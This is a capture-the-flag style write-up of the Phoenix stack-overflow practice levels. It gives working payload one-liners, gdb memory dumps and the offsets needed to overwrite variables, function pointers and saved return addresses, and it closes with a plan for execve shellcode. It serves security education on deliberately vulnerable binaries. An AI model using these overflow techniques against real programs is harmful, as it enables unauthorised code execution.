Note: I didn’t want to use the provided Debian VM, so I took the challenge source and compiled on Ubuntu 18.04. Therefore, some of the solves may be different on the provided VM.
Flag: change the volatile int changeme, a stack variable in main’s stack frame. In C, the volatile keyword tells the compiler that the variable value may change at any time, and not necessarily by code that the compiler knows about. That fact is not relevant to this challenge. There is a buffer allocated on the stack directly after the changeme var. Input is taken via the vulnerable gets() function, which does no bounds checking. By writing more than 64 bytes, changeme can be overwritten.
user@unassigned:/opt/phoenix/amd64$ python -c 'print "A"*78 ' | ./stack-zero
Flag: change volatile int changeme to specific value 0x496c5962. Stack layout is the same as stack-zero. Vulnerable function strcpy is used to copy into buffer. Write the correct value in little endian once discovering where changeme lies. In this case, changeme starts 76 bytes after buffer, even though buffer is declared as 64 bytes long. This extra space is compiler specific?
user@unassigned:/opt/phoenix/amd64$ ./stack-one `python -c "print 'A'*76 + '\x62\x59\x6c\x49' "`
Flag: change volatile int changeme to specific value 0x0x0d0a090a. This has to be done via an environment variable called ExploitEducation.
user@unassigned:/opt/phoenix/amd64$ export ExploitEducation=`python -c "print 'A'*68 + '\x0a\x09\x0a\x0d'"` && ./stack-two
Flag: Overwrite a function pointer on the stack to jump to a complete_level() function. The vulnerable gets() function is used to take input, therefore writing to stack is simple. The challenge is finding where ‘fp’ is on the stack, which can either be done via brute force or by using debugger. Use gdb –> info func to locate the complete_level() function: 0x00000000004006dd complete_level. We will overwrite fp with \xdd\x06\x40.
user@unassigned:/opt/phoenix/amd64$ python -c "print 'A'*72 + '\xdd\x06\x40' " | ./stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education calling function pointer @ 0x4006dd Congratulations, you've finished phoenix/stack-three Well done!
Flag: Overwrite the saved instruction pointer on the stack, aka a Vanilla buffer overflow. When a function returns, ret will be popped from the stack during function epilogue. We will take advantage of this behavior and redirect program flow to complete_level(). Once again, the vulnerable function gets() is used to take input. GDB’s info func reveals the win function at 0x40064d. There are no protections on this binary, making the most basic type of ret overwrite possible:
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
Within start_level(), the __builtin_return_address function is called. In the binary, its inlined. The GCC description of __builtin_return_address:
This function returns the return address of the current function, or of one of its callers. The level argument is number of frames to scan up the call stack. A value of 0 yields the return address of the current function, a value of 1 yields the return address of the caller of the current function, and so forth. When inlining the expected behavior is that the function returns the address of the function that is returned to. To work around this behavior use the noinline function attribute.
The instruction here reveals where ret is saved on the stack:
=> 0x400679 <start_level+20>: mov rax,QWORD PTR [rbp+0x8]
. Examining memory at that location and seeing the A’s before it (72 A’s written during this run), we can see how much more memory needs to be written in order to hijack ret. GDB command line:
run <<< $(python -c "print 'A'*72 + '\x4d\x06\x40' ")
, and the resulting memory at breakpoint 0x400679:
gdb-peda$ x/10xg $rbp-0x20 0x7fffffffe4c0: 0x4141414141414141 0x4141414141414141 0x7fffffffe4d0: 0x4141414141414141 0x00007f000040064d 0x7fffffffe4e0: 0x00007fffffffe500 0x00000000004006bd 0x7fffffffe4f0: 0x00007fffffffe558 0x0000000100000000 0x7fffffffe500: 0x0000000000000001 0x00007ffff7d8fd62
user@unassigned:/opt/phoenix/amd64$ python -c "print 'A'*88 + '\x4d\x06\x40\x00\x00\x00\x00\x00' " | ./stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education and will be returning to 0x40064d Congratulations, you've finished phoenix/stack-four. Well done!
Flag: Get a shell via shellcode, basic execve /bin/bash is fine. There are no explicit restrictions to the shellcode like bad chars. Instead of getting shellcode from the net, we will use this opportunity to build our own. There is space for 128 bytes of shellcode and ASLR is not enabled so we can jump to static addresses. The general workflow will be to place execve shellcode in the stack buffer, then jump to it with a ret overwrite.